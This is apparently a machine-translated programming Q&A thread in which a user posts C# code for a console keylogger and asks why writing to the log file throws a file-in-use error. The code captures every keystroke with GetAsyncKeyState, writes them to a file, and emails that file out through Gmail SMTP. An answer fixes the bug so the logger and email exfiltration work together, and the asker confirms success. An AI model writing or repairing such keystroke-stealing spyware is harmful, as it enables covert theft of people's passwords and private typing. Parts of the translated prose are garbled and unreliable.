键盘记录程序处理使用相同的目录,并抛出异常,并指导帮助

问题描述:

创建控制台键盘记录,但有一个问题:
线using (StreamWriter sw = File.AppendText(path))给了一个错误键盘记录程序处理使用相同的目录,并抛出异常,并指导帮助

Additional information: The process cannot access the file 'C:\Users\D.A\Documents\LogsFolder\LoggedKeys.txt' because it is being used by another process.

LogKeys();方法 (第一次写在这里遗憾mistakesin问题)

图书馆使用:

using System.IO; 
using System.Threading; 
using System.Windows.Forms; 
using System.Runtime.InteropServices; 
using System.Net.Mail; 


我的代码:

static void Main(string[] args) 
     { 
      Path(); 
      SendMail(); 
      LogKeys(); 
     } 

Mathow它给出了一个错误:

static void LogKeys() 
     { 
      String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); 
      filepath = filepath + @"\LogsFolder\"; 
      KeysConverter converter = new KeysConverter(); 
      string text = ""; 
      string path = (@filepath + "LoggedKeys.txt"); 
      while (true) 
      { 
       Thread.Sleep(5); 
       for (Int32 i = 0; i < 2000; i++) 
       { 
        int key = GetAsyncKeyState(i); 
        if (key == 1 || key == -32767) 
        { 
         text = converter.ConvertToString(i); 
         using (StreamWriter sw = File.AppendText(path)) 
         { 
          sw.WriteLine(text); 
         } 
         break; 
        } 
       } 
      } 
     } 

方法创建的路径和文件,如果它doesent存在

static void Path() 
     { 

       String filepath = 
       Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); 
       filepath = filepath + @"\LogsFolder\"; 

       if (!Directory.Exists(filepath)) 
       { 
        Directory.CreateDirectory(filepath); 
       } 

       string path = (@filepath + "LoggedKeys.txt"); 

       if (!File.Exists(path)) 
       { 
        using (StreamWriter sw = File.CreateText(path)) 
        { 

        } 
       } 
      } 

Methot其发送电子邮件

static void SendMail() 
     { 
      String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); 
      string Newfilepath2 = Newfilepath + @"\LogsFolder\LoggedKeys.txt"; 
      DateTime dateTime = DateTime.Now; 
      string subtext = "Loggedfiles"; 
      subtext += dateTime; 
      SmtpClient client = new SmtpClient("smtp.gmail.com", 587); 
      MailMessage LOGMESSAGE = new MailMessage(); 
      LOGMESSAGE.From = new MailAddress("[email protected]"); 
      LOGMESSAGE.To.Add("[email protected]"); 
      LOGMESSAGE.Subject = subtext; 
      client.UseDefaultCredentials = false; 
      client.EnableSsl = true; 
      client.Credentials = new System.Net.NetworkCredential("[email protected]", "password"); 
      System.Threading.Thread.Sleep(2); 
      LOGMESSAGE.Attachments.Add(new Attachment(Newfilepath2)); 
      LOGMESSAGE.Body = subtext; 
      client.Send(LOGMESSAGE); 
      LOGMESSAGE = null; 
     } 
+4

'如果(20 == 20),而(5> 1)'???在提问前请删除无意义的代码。没有人想要解密这些东西来理解你的代码。请写一个[MCVE] –

SendMail方法使用文件C:\用户\ D.A \文件\ LogsFolder \ LoggedKeys.txt作为电子邮件的附件不设置Attachment对象。因此,文件保持打开状态,当您尝试在LogKeys方法中再次访问文件时,无法打开文件(除非指定了共享,否则文件一次只能打开一次)。

妥善处理所有对象using应关闭文件并解决您的问题:

static void SendMail() 
{ 
    String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); 
    string Newfilepath2 = Newfilepath + @"\LogsFolder\LoggedKeys.txt"; 
    DateTime dateTime = DateTime.Now; 
    string subtext = "Loggedfiles"; 
    subtext += dateTime; 
    using (SmtpClient client = new SmtpClient("smtp.gmail.com", 587)) 
    { 
     MailMessage LOGMESSAGE = new MailMessage(); 
     LOGMESSAGE.From = new MailAddress("[email protected]"); 
     LOGMESSAGE.To.Add("[email protected]"); 
     LOGMESSAGE.Subject = subtext; 
     client.UseDefaultCredentials = false; 
     client.EnableSsl = true; 
     client.Credentials = new System.Net.NetworkCredential("[email protected]", "password"); 
     System.Threading.Thread.Sleep(2); 
     using (var attachment = new Attachment(Newfilepath2)) 
     { 
      LOGMESSAGE.Attachments.Add(attachment); 
      LOGMESSAGE.Body = subtext; 
      client.Send(LOGMESSAGE); 
     } 
    } 
} 
+0

非常感谢,它工作! – Daniel